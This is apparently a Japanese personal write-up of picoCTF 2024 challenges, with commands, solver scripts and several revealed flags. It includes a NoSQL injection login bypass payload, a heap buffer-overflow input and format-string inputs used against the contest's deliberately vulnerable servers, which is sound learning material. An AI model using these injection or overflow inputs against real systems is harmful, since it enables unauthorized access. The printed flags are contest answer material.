まえがき
今年の1月からTryHackMeをやり始め、少しずつ出来ることが増えてきた実感があったので、 picoCTF2024 に参加してみました。
結果
47問中25問解きました。開催期間が2週間あるので、分からない問題も勉強しながら取り組めると良かったのですが、(グラフを見るとわかる通り)最初と最後しか参加できず、、、
感想
TryHackMeなどとは毛色が違ってブルートフォースなどの力技で解ける問題は無く、細かい技術を学ぶことが出来て良かったです。
解けそうで解けない問題が多かったので、他の方のWriteupを参考に復習したいです。
今回のコンテストでは、以下の要素を初めて体験することが出来ました。
- 壊れたバイナリの修正
- Reversing体験(IDA, gdb-peda)
- ZFフラグを立てて分岐させる
- NoSQLi
- メモリを書き換える
開催前にpicoGymでForensicの過去問を少し練習で解いていたので、Forensicは取り掛かりやすかったです。開催期間中は時間がなく、闇雲にやってしまっていたのですが、今後は慣れるのに時間が必要そうなツール(IDA,gdb,バイナリ編集ツール等)をゆっくり触ってみたいなと思いました。
また、heapやformat stringシリーズは、典型的な問題だと思うので解けるべきなのですが、勉強不足で解くことが出来ませんでした。開催前に似たような問題を解いておくべきでした。
あとはリバースエンジニアリングが全然できなかったので、練習したいです。
Forensics
Scan Surprise (50)
QRコードを携帯のカメラで読んだらわかった。
Verify (50)
大量のハッシュファイルと復号するための実行ファイルが与えられる。
実行ファイルのパスを修正してあげるとうまく実行でき、フラグが取得できる。
┌──(kali㉿kali)-[/media/…/Verify/home/ctf-player/drop-in]
└─$ find files -type f -exec ./modify.sh {} \;
bad magic number
bad magic number
picoCTF{trust_but_verify_*******}
bad magic number
bad magic number
bad magic number
bad magic number
CanYouSee (100)
$ unzip ---.zip
strings, fileをやってみるが、めぼしい情報は見つからず。
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/CanYouSee]
└─$ strings ukn_reality.jpg | grep pico
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/CanYouSee]
└─$ file ukn_reality.jpg
ukn_reality.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 4308x2875, components 3
exiftoolで暗号化されたフラグを見つけました。
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/CanYouSee]
└─$ exiftool ukn_reality.jpg
ExifTool Version Number : 12.67
File Name : ukn_reality.jpg
Directory : .
File Size : 2.3 MB
File Modification Date/Time : 2024:03:11 20:05:51-04:00
File Access Date/Time : 2024:03:12 20:20:14-04:00
File Inode Change Date/Time : 2024:03:12 20:20:02-04:00
File Permissions : -rwxrwx---
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
XMP Toolkit : Image::ExifTool 11.88
Attribution URL : cGljb0NURntNRTc0RDQ3QV9ISUREM05fM2I5MjA5YTJ9Cg==
Image Width : 4308
Image Height : 2875
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 4308x2875
Megapixels : 12.4
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/CanYouSee]
└─$ echo cGljb0NURntNRTc0RDQ3QV9ISUREM05fM2I5MjA5YTJ9Cg== | base64 --decode
picoCTF{ME74D47A_HIDD3N_3b9209a2}
Secret of the Polyglot (100)
与えられたPDFファイルを見ると、フラグの一部が表示されます。壊れたファイルだと予想し、foremostで修復を試みます。
└─$ foremost -i flag2of2-final.pdf
Processing: flag2of2-final.pdf
|*|
foremostを実行したらoutputファイルにpngファイルが生成され、そこに書かれている文字列をつなげるとフラグが完成します。
Mob psycho (200)
APKファイルについて調べると、
Android専用ソフトウェアパッケージのファイルフォーマットである。Android Packageとも。 JARファイルをベースとしたZIP形式で、アーカイブファイルの一種である。
とのことだったので、解凍していく。
$ sudo apt install dex2jar
$ echo 'export PATH="$PATH:/usr/local/Cellar/dex2jar/2.0/bin"' >> ~/.bash_profile
$ source ~/.bash_profile
apkファイルを解凍し、続いてすべてのdexファイルとjarファイルを解凍していく。
$ unzip ---.apk
$ d2j-dex2jar ---.dex
$ unzip ---.jar
ここまででflagを探してみると怪しいファイルを発見。
└─$ ls -R | grep flag
flag.txt
└─$ find -type f -name flag.txt
./res/color/flag.txt
この中にフラグがありました。
endianness-v2(200)
Here's a file that was recovered from a 32-bits system that organized the bytes a weird way. We're not even sure what type of file it is.
これは32ビットのシステムから復元されたファイルで、バイトが奇妙な方法で整理されています。どのようなタイプのファイルなのかさえわかりません。
壊れたバイナリを修正する問題にはじめて触れたので個人的に面白かった問題です。
└─$ file challengefile
challengefile: data
└─$ hexdump -C challengefile | head -5
00000000 e0 ff d8 ff 46 4a 10 00 01 00 46 49 01 00 00 01 |....FJ....FI....|
00000010 00 00 01 00 43 00 db ff 06 06 08 00 08 05 06 07 |....C...........|
00000020 09 07 07 07 0c 0a 08 09 0b 0c 0d 14 12 19 0c 0b |................|
00000030 1d 14 0f 13 1d 1e 1f 1a 20 1c 1c 1a 20 27 2e 24 |........ ... '.$|
00000040 1c 23 2c 22 29 37 28 1c 34 31 30 2c 27 1f 34 34 |.#,")7(.410,'.44|
ファイルを見てみると、壊れたJPEGファイルのよう。
色々調べてヘッダーを書き換えてみたのですがうまくいかず・・・
もう一度問題文を読むと、バイトが奇妙な方法で整理されています
と書いてあることに気づく。
壊れているのではなく、ある方法で並び替えたものになっているらしい。
問題名からEndianが関係していると予想し、JPEGファイルのヘッダーになるように32bitのビッグエンディアンに変換するコードを作成します。
import sys
from struct import unpack, pack
def convert_to_big_endian_32bit(filename):
with open(filename, 'rb') as file:
data = file.read()
# データサイズが4バイトの倍数でない場合、足りないバイトをパディングする
padding_size = (-len(data)) % 4
padded_data = data + b'\x00' * padding_size # 0でパディング
# 32ビット整数としてデータを読み込み、ビッグエンディアンに変換
int_list = list(unpack(f"<{len(padded_data)//4}I", padded_data))
big_endian_data = pack(f">{len(padded_data)//4}I", *int_list)
# 元のデータサイズに合わせて、パディングを削除
big_endian_data = big_endian_data[:len(data)]
with open(filename, 'wb') as file:
file.write(big_endian_data)
def main():
if len(sys.argv) != 2:
print("Usage: python script.py <filename>")
sys.exit(1)
filename = sys.argv[1]
convert_to_big_endian_32bit(filename)
print(f"Success!")
if __name__ == "__main__":
main()
実行します。
└─$ python3 script.py challengefile
Success!
JPEGとして認識されたようです。
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/endianness-v2]
└─$ file challengefile
challengefile: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x150, components 3
ファイルを開くとフラグが表示されました(あえて全体を表示していません)
Binary Exploitation
heap 0 (50)
オーバーフローの問題。
└─$ nc tethys.picoctf.net 64448
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55c2c768d2b0 -> pico
+-------------+----------------+
[*] 0x55c2c768d2d0 -> bico
+-------------+----------------+
ヒープ0へようこそ!
僕のデータはヒープ上に置いたから、改ざんされる心配はないはずだ。
僕のデータはスタック上にないから、君がヒープに書きたい情報は何でも書き込んでいいよ。
とのこと。
Bufferに長い文字列を入れるとフラグが取得できた。
ヒープとスタックは繋がっているので、長い文字列を入力することによってスタックが書き換えられたのでOKということなのかな。
heap1 (100)
ソースコードを読むと、safe_varの値がpicoになれば良いみたいです。
15 void check_win() {
16 if (!strcmp(safe_var, "pico")) {
17 printf("\nYOU WIN\n");
18
19 // Print flag
20 char buf[FLAGSIZE_MAX];
21 FILE *fd = fopen("flag.txt", "r");
22 fgets(buf, FLAGSIZE_MAX, fd);
23 printf("%s\n", buf);
24 fflush(stdout);
25
26 exit(0);
27 } else {
28 printf("Looks like everything is still secure!\n");
29 printf("\nNo flage for you :(\n");
30 fflush(stdout);
31 }
32 }
safe_varの値がpicoになるようにバッファオーバフローをさせて書き換えます。
位置を調整しながら0で埋めて最後にpicoと書いて入力します。
00000000000000000000000000000000pico
└─$ nc tethys.picoctf.net 56958
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55c9d71752b0 -> pico
+-------------+----------------+
[*] 0x55c9d71752d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: 00000000000000000000000000000000pico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{starting_to_get_the_hang****}
意外と簡単でした!
format string 0(50)
フォーマット文字列の問題。
よくわからないが何回かやったらフラグが取得できた。
└─$ nc mimas.picoctf.net 50447
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}
General Skills
Gitの問題が3問もありました。
CommitmentIssues(50)
Gitの問題。
└─$ git log
commit 8dc51806c760dfdbb34b33a2008926d3d8e8ad49 (HEAD, master)
Author: picoCTF <ops@picoctf.com>
Date: Tue Mar 12 00:06:17 2024 +0000
remove sensitive info
commit 87b85d7dfb839b077678611280fa023d76e017b8
Author: picoCTF <ops@picoctf.com>
Date: Tue Mar 12 00:06:17 2024 +0000
create flag
ログを確認してみると、フラグを作成したあとに削除しているようです。
戻ってフラグを確認しましょう。
└─$ git reset --hard 87b85d7dfb839b077678611280fa023d76e017b8
HEAD is now at 87b85d7 create flag
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/Git/drop-in]
└─$ cat message.txt
picoCTF{s@n1t1z3_ea83ff2a}
確認できました。
Blame Game (75)
Someone's commits seems to be preventing the program from working. Who is it?
誰かのコミットがプログラムの動作を妨げているようだ。それは誰ですか?
コミットという言葉からGitが想像できます。
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/Blame Game/drop-in]
└─$ git status
fatal: detected dubious ownership in repository at '/media/sf_share/picoCTF2024/Blame Game/drop-in'
To add an exception for this directory, call:
git config --global --add safe.directory '/media/sf_share/picoCTF2024/Blame Game/drop-in'
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/Blame Game/drop-in]
└─$ git config --global --add safe.directory '/media/sf_share/picoCTF2024/Blame Game/drop-in'
┌──(kali㉿kali)-[/media/sf_share/picoCTF2024/Blame Game/drop-in]
└─$ git status
On branch master
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: message.py
no changes added to commit (use "git add" and/or "git commit -a")
Gitのコミット履歴を見ていくと、大量のコミット履歴が出てくる。
message.py
の中身はこんな感じ。
print("Hello, World!"
最後のカッコがないのでこのままでは構文エラーで動きません。
誰がエラーとなるコードを書いたのか特定する問題なので、ログのAuthor部分を確認します。
以下で見つかりました。
$ git log | grep Author
または
$ git log | grep picoCTF{
Collaborative Development(75)
Gitのブランチを切り替える問題。
└─$ ls -la
total 5
drwxrwx--- 1 root vboxsf 0 Mar 11 20:07 .
drwxrwx--- 1 root vboxsf 0 Mar 25 10:44 ..
-rwxrwx--- 1 root vboxsf 30 Mar 11 20:07 flag.py
drwxrwx--- 1 root vboxsf 4096 Mar 11 20:07 .git
└─$ cat flag.py
print("Printing the flag...")
ブランチを見るとmainのほかに3つあるようです。
└─$ git branch
feature/part-1
feature/part-2
feature/part-3
* main
ブランチを切り替えるとフラグの一部が見つかりました。
$ git add flag.py && git commit -m "Hello"
[feature/part-3 688b079] 説明的なメッセージ
1 file changed, 0 insertions(+), 0 deletions(-)
mode change 100644 => 100755 flag.py
$ git checkout feature/part-1
Switched to branch 'feature/part-1'
$ python3 flag.py
Printing the flag...
picoCTF{t3@mw0rk_
上記を繰り返して各ブランチを確認してつなげるとフラグになる。
binhexa(100)
基本的な2進数の計算に答える問題。
+,-,*,|,<<, >>, &
などの演算をさせられます。暗算は面倒なのでweb上にあるツールを利用しました。
└─$ nc titan.picoctf.net 56491
Welcome to the Binary Challenge!"
Your task is to perform the unique operations in the given order and find the final result in hexadecimal that yields the flag.
Binary Number 1: 01101011
Binary Number 2: 01100110
Question 1/6:
Operation 1: '<<'
Perform a left shift of Binary Number 1 by 1 bits.
Enter the binary result: 11010110
Correct!
Question 2/6:
Operation 2: '*'
Perform the operation on Binary Number 1&2.
Enter the binary result: 10101010100010
Correct!
Question 3/6:
Operation 3: '>>'
Perform a right shift of Binary Number 2 by 1 bits .
Enter the binary result: 00110011
Correct!
Question 4/6:
Operation 4: '+'
Perform the operation on Binary Number 1&2.
Enter the binary result: 11010001
Correct!
Question 5/6:
Operation 5: '|'
Perform the operation on Binary Number 1&2.
Enter the binary result: 1101111
Correct!
Question 6/6:
Operation 6: '&'
Perform the operation on Binary Number 1&2.
Enter the binary result: 1100010
Correct!
Enter the results of the last operation in hexadecimal: 10c8ea
Incorrect answer!
Enter the results of the last operation in hexadecimal: 62
Correct answer!
The flag is: picoCTF{b1tw^3se_0p3eR@tI0n_su33essF***}
Binary Search(100)
問題名にある通り二分探索の問題。
sshで接続してみると1から1000の間の数字を当てるゲームが始まる。
ソースコードを読むと、10回しか解答できないようです。
少ない回数で数字を当てる工夫が必要なので、闇雲に入力せず二分探索でやります。電卓使いながらやりました。
最初は(1+1000)/2=500
を言ってみて、
それより大きいのであれば、500~1000の範囲にあるので、中間の(500+1000)/2=750
を言ってみる。
それより小さいのであれば、500~750の範囲にあるので、中間の(500+750)/2=625
を言ってみる。
・・・のような感じで候補を絞っていきます。
┌──(kali㉿kali)-[/media/…/Binary Search/home/ctf-player/drop-in]
└─$ ssh -p 52260 ctf-player@atlas.picoctf.net
ctf-player@atlas.picoctf.net's password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Higher! Try again.
Enter your guess: 750
Lower! Try again.
Enter your guess: 625
Higher! Try again.
Enter your guess: 687
Lower! Try again.
Enter your guess: 656
Higher! Try again.
Enter your guess: 671
Higher! Try again.
Enter your guess: 679
Lower! Try again.
Enter your guess: 675
Higher! Try again.
Enter your guess: 677
Higher! Try again.
Enter your guess: 678
Congratulations! You guessed the correct number: 678
Here's your flag: picoCTF{g00d_gu355_6dcfb67c}
Connection to atlas.picoctf.net closed.
endianness(200)
与えられた文字列をLittle EndianとBig Endianに変換する問題。
文字列を16進数にして、Little Endianの場合は反転させて入力します。
// Big Endianにする(16進数にするだけ)
$ echo -n {text} | xxd -p
// Little Endianにする
$ echo -n {text} | xxd -p | sed 's/../& /g' | tr ' ' '\n' | tac | tr -d '\n'
後はncで接続して解答を入力していきます。
└─$ nc titan.picoctf.net 55192
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: fcezk
Enter the Little Endian representation: 6b7a656366 <-----入力
Correct Little Endian representation!
Enter the Big Endian representation: 6663657a6b <-----入力
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_28329f0a}
Web Exploitation
Unminify(100)
開発者ツールで確認したら見つかりました。
IntroToBurp(100)×
BurSuiteの練習問題のようなので絶対解けると思ったのですが解けず。
適当にフォームに入力してBurpで見てみると、以下のようなリスクエストが送信されているようです。
適当にSQLインジェクションを試すがなかなかうまくいかない~
No Sql Injection(200)
Hint: SQLインジェクションだけでなく、NoSQLインジェクションも存在します。サーバーが送り返しているものをすべて見てください。
NoSQLインジェクションを調べて適当に入れてみるとログイン出来ました。
ログインフォームで以下をemail, passwordに入れます。
{ "$ne": null }
ログイン出来ました。
ソースコードを確認すると、tokenのデフォルトが {{flag}}
であるとわかります。
どうしたらこの部分を取得することが出来るでしょうか?
const UserSchema: Schema = new Schema({
email: { type: String, required: true, unique: true },
firstName: { type: String, required: true },
lastName: { type: String, required: true },
password: { type: String, required: true },
token: { type: String, required: false ,default: "{{Flag}}"},
});
特に入力フォームがあるわけではないのでどうやってtokenを取得すれば良いか悩んだのですが、ヒントに「サーバーが送り返しているものをすべて見てください。」と書いてありました。
ログイン成功時のレスポンスを確認すると、tokenにbase64で暗号化されたものを発見。
[{"_id":"65f08d9329a7cb4b93eba6e0","email":"joshiriya355@mumbama.com","firstName":"Josh","lastName":"Iriya","password":"Je80T8M7sUA","token":"cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzVlMjQ1ZDZlfQ==","__v":0}]
復号してフラグを取得しました。
└─$ echo cGljb0NURntqQmhEMnk3WG9OelB2XzFZeFM5RXc1cUwwdUk2cGFzcWxfaW5qZWN0aW9uXzVlMjQ1ZDZlfQ== | base64 --decode
picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_****}
Cryptography
Custom encryption(100)
デコードする関数を書く問題。
与えられたコードを見ると、かなり無駄な計算やチェックをしている部分が多いのですが、整理してみると以下のようになります。
-
変数
p = 97, g = 31
a = 89, b = 27
key = shared_key = pow(g, a*b, p)
-
関数
-
dunamic_xor_encrypt
- 文字列を反転させて、
"trudeau"
という文字列とXORする関数
- 文字列を反転させて、
-
encrypt
- 各配列の要素に対して、
shared_key * 311
をかける関数
- 各配列の要素に対して、
-
なので、まずshared_key*311
で各要素を割って、"trudeau"
とXORして、最後に反転させるように逆関数を書いていきます。
1 from random import randint
2 import sys
3
4 a = 89
5 b = 27
6 cipher = [33588, 276168, 261240, 302292, 343344, 328416, 242580, 85836, 82104, 156744, 0, 309756, 78372 , 18660, 253776, 0, 82104, 320952, 3732, 231384, 89568, 100764, 22392, 22392, 63444, 22392, 97032, 1903 32, 119424, 182868, 97032, 26124, 44784, 63444]
7
8
9 if __name__ == "__main__":
10
11 semi_cipher = []
12 flag = []
13 text_key = "trudeau"
14
15 p = 97
16 g = 31
17 shared_key = pow(g, a*b) % p
18
19 print(f"shared_key: {shared_key}")
20
21 for char in cipher:
22 code = char // (shared_key*311)
23 semi_cipher += chr(code)
24
25 key_len = len(text_key)
26 for i, char in enumerate(semi_cipher):
27 key_char = text_key[i % key_len]
28 enc_char = chr( ord(char) ^ ord(key_char) )
29 flag += enc_char
30
31 flag = flag[::-1]
32
33 ans = ''
34 for char in flag:
35 ans += char
36
37 print(f"answer: {ans}")
実行するとフラグが取得できました。
└─$ python3 try.py
shared_key: 12
answer: picoCTF{custom_d2cr0pt6d_d***}
C3(200)
こちらもデコードする関数を書く問題です。
以下のコードを書きました。
import sys
lookup1 = "\n \"#()*+/1:=[]abcdefghijklmnopqrstuvwxyz"
lookup2 = "ABCDEFGHIJKLMNOPQRSTabcdefghijklmnopqrst"
encode = "DLSeGAGDgBNJDQJDCFSFnRBIDjgHoDFCFtHDgJpiHtGDmMAQFnRBJKkBAsTMrsPSDDnEFCFtIbEDtDCIbFCFtHTJDKerFldbFObFCFtLBFkBAAAPFnRBJGEkerFlcPgKkImHnIlATJDKbTbFOkdNnsgbnJRMFnRBNAFkBAAAbrcbTKAkOgFpOgFpOpkBAAAAAAAiClFGIPFnRBaKliCgClFGtIBAAAAAAAOgGEkImHnIl"
decode = ""
prev = 0
def find(array, char):
while 1:
for i, a in enumerate(array):
if a == char:
return i
char += 40
return 0
if __name__ == "__main__":
p = 0
decode = ""
cur = []
cur.append(0)
for e in encode:
c = (find(lookup2, e) + p) % 40
cur.append(c)
p = c
for cu in cur:
d = lookup1[cu]
decode += d
print(f"==========================")
print(f"flag: {decode}")
print(f"==========================")
実行してみると、コードが出力される。
長い暗号文だなーと思っていたのですが、コードを暗号化したものだったようです。
$ python3 try2.py
==========================
flag:
#asciiorder
#fortychars
#selfinput
#pythontwo
chars = ""
from fileinput import input
for line in input():
chars += line
b = 1 / 1
for i in range(len(chars)):
if i == b * b * b:
print chars[i] #prints
b += 1 / 1
==========================
# pythontwo
# selfinput
とコメントアウトに書いてあるので、
python2で実行して、このコード自身を読み込ませてみる。
└─$ python2 q.py q.py
a
d
l
i
b
s
この文字列を並べたpicoCTF{adlibs}
が答えでした。
Reverse Engineering
packer(100)
stringsの結果を見ると、UPXというもので圧縮したファイルであることが分かる。
$ strings out
(中略)
$Info: This file is packed with the UPX executable packer http://upx.sf.net $ $Id: UPX 3.95 Copyright (C) 1996-2018 the UPX Team. All Rights Reserved. $
(中略)
調べて解凍してみる。
$ upx -d out
もう一度stringsを実行してみると、先ほどはほぼ読めなかった文字列が読めるようになっていました。
└─$ strings out | grep flag
Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f31613561336633397d
(mode_flags & PRINTF_FORTIFY) != 0
WARNING: Unsupported flag value(s) of 0x%x in DT_FLAGS_1.
version == NULL || !(flags & DL_LOOKUP_RETURN_NEWEST)
flag.c
_dl_x86_hwcap_flags
_dl_stack_flags
Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f31613561336633397d
の部分が16進数なので、復号化するとフラグが取得できます。
└─$ echo 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f31613561336633397d | xxd -r -p
picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_*****}
weirdSnake(200)×
I have a friend that enjoys coding and he hasn't stopped talking about a snake recentlyHe left this file on my computer and dares me to uncover a secret phrase from it. Can you assist?
コーディングが趣味の友人がいるのですが、最近蛇の話が止まりません。彼はこのファイルを私のコンピュータに残し、そこから秘密のフレーズを発見するよう私に挑んできました。手伝ってくれる?
逆コンパイルする問題。
与えられたファイルを調べてみると、pythonのバイトコードだったので逆コンパイルすることでフラグが表示されるはず。
keyとなる文字列をsnake,Snake等に変えたりもしてみたがフラグは現れず・・・
FactCheck(200)×
デバッガを使ってメモリの状態を見る問題。
gdb-peda
で実行すると、プログラムの実行中にスタックにフラグが積みあがっていくのが見える。分岐がたくさんあるので、各分岐で失われた文字を回収していく問題と思われる。
各分岐でZFを修正しつつ、遠回りしながら最後を目指す。
それっぽいフラグがスタックに表示されるが、提出してもNGとなってしまいました。
初めてgbd-pedaを使ったので、いい勉強にはなりました、、、
// gdb-pedaコマンド
$ gdb bin
$ pdisass main
$ b *0x0000
$ run
$ ni
$ i r
$ set $eflags=0x0000 ZFを立てるためには+40する
解けなくて悔しかった問題
-
IntroToBurp (100)×
- webの問題。簡単なはずなのにOTPわからず・・・
-
formatstring1 (100)×
- %x%x%xなどを入れていく問題。解法の概要は分かったけど解けず。このあとシリーズで何問かあるので次に進めず悔しかったです。
-
heap2 (200)×
- BOFの問題。メモリを書き換えてwin関数を実行させる典型的な問題だと思われるが、うまくできず。
-
FactCheck (200)×
- gdb-pedaを使って文字を回収していく問題。できたっぽいのに提出してもNG。
-
WinAntiDbg0x100 (200)×
- windowsの実行ファイルをIDAで見たらflagっぽい箇所を発見。gdb-pedaはlinuxのみなんですね。Windowsのデバッガの使い方わからない。
-
Blast from the past (300)×
- exiftoolでタイムスタンプを変更してもミリ単位で指定することが出来ないので他の方法でやらないといけない。
-
Dear Diary (400)×
- ディスクイメージをマウントする?フォレンジックの問題。もう少し調べてもよさそう。
memo:format stringの問題で読みたい記事